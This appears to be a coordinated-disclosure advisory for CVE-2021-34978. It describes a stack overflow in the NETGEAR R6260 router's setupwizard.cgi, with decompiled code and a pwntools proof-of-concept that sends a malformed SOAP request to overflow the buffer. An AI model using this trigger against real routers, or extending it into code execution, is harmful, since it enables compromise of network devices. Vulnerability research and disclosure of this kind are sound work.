CVE: CVE-2021-34978
Tested Versions:
- NETGEAR R6260 V1.1.0.78_1.0.1
Product URL(s):
Description of the vulnerability
This vulnerability allows for an attacker with LAN access to a NETGEAR R6260 router to execute arbitrary code. This was tested on the latest firmware available for the router, V1.1.0.78_1.0.1 at the point of writing.
When setupwizard.cgi is executed via a HTTP SOAP request, specially crafted SOAP-ENV headers will cause strncpy()
to produce unterminated strings in analyse_XML_namespace()
. A subsequent sprintf()
call in the same function will introduce a buffer overflow due to overlapping strings, allowing for instruction pointer control.
setupwizard.cgi
is cgi binary which responsible to handle incoming HTTP request. In this binary, the function analyse_XML_namespace
(defined at address 0x40A39C) is used to parsed the xml in post data of HTTP request.
int __fastcall analyse_XML_namespace(char* buf)
{
node = 0;
nodeName_rebuilt[0] = 0;
memset(&nodeName_rebuilt[1], 0, 0x7Fu);
err = ixmlParseBufferEx(buf, &node);
if ( err )
{
TRACE("%s: ixmlParseBufferEx fail\n", "analyse_XML_namespace");
TRACE("ERROR CODE: %d\n", err);
rtr = 0;
}
else
{
child = (IXML_Node *)ixmlNode_getFirstChild(node);
strncpy(namespaceURI, child->namespaceURI, 0x40u); // <-- non terminated
strncpy(nodeName, child->nodeName, 0x20u); // <-- non terminated
strncpy(prefix, child->prefix, 0x10u); // <-- non terminated
strncpy(localName, child->localName, 0x10u); // <-- non terminated
cmpURI = strncmp("http://schemas.xmlsoap.org/soap/envelope", namespaceURI, 0x28u);
rtr = 0;
if ( !cmpURI )
{
sprintf(nodeName_rebuilt, "%s:%s", prefix, localName); // <-- stack overflow
...
This function call ixmlParseBufferEx
and ixmlNode_getFirstChild
functions to parse xml data, and then call strncpy
to copy the namespaceURI
, nodeName
, prefix
and localName
of first child xml node to stack-based buffers. Notice that strncpy
function didn’t terminated the destination string if the size of source string exceed the 3rd argument value. Therefore, we can craft a xml post data to create a long unterminated string and then a subsequent sprintf
function call will lead to stack overflow.
Proof-of-Concept
from pwn import *
context.arch = 'mips'
context.endian = 'little'
context.log_level = 'debug'
soap_data = b"""<?xml version='1.0' encoding="UTF-8"?>
<aaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbb xmlns:aaaaaaaaaaaaaaaa="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<tag>aaa</tag>
</SOAP-ENV:Body>
</aaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbb>"""
def send_SOAP() -> bytes:
# Note that requests.post will not work here, because malformed HTTP headers will raise errors
r = remote('routerlogin.net', 80)
def sl(s:bytes): r.send(s+b'\r\n')
sl(b'POST / HTTP/1.1')
sl(b'Host: routerlogin.net')
sl(b'Accept: */*')
sl(b'User-Agent: pwnt')
sl(b'Cookie: =xxxx')
sl(b'SOAPAction:\t⚱NETGEAR-ROUTER:service:aaaaa:')
#xml = XML.format(password)
xml = soap_data
sl(b'Content-Length: ' + str(len(xml)).encode())
sl(b'Content-Type: application/x-www-form-urlencoded')
sl(b'')
pause()
sl(soap_data)
#sl(b'')
return r.recvall()
send_SOAP()
Timeline:
- 2021-03-22 - Reported via ZDI
- 2021-06-16 - Vulnerability reported to vendor
- 2021-10-28 - Coordinated public release of advisory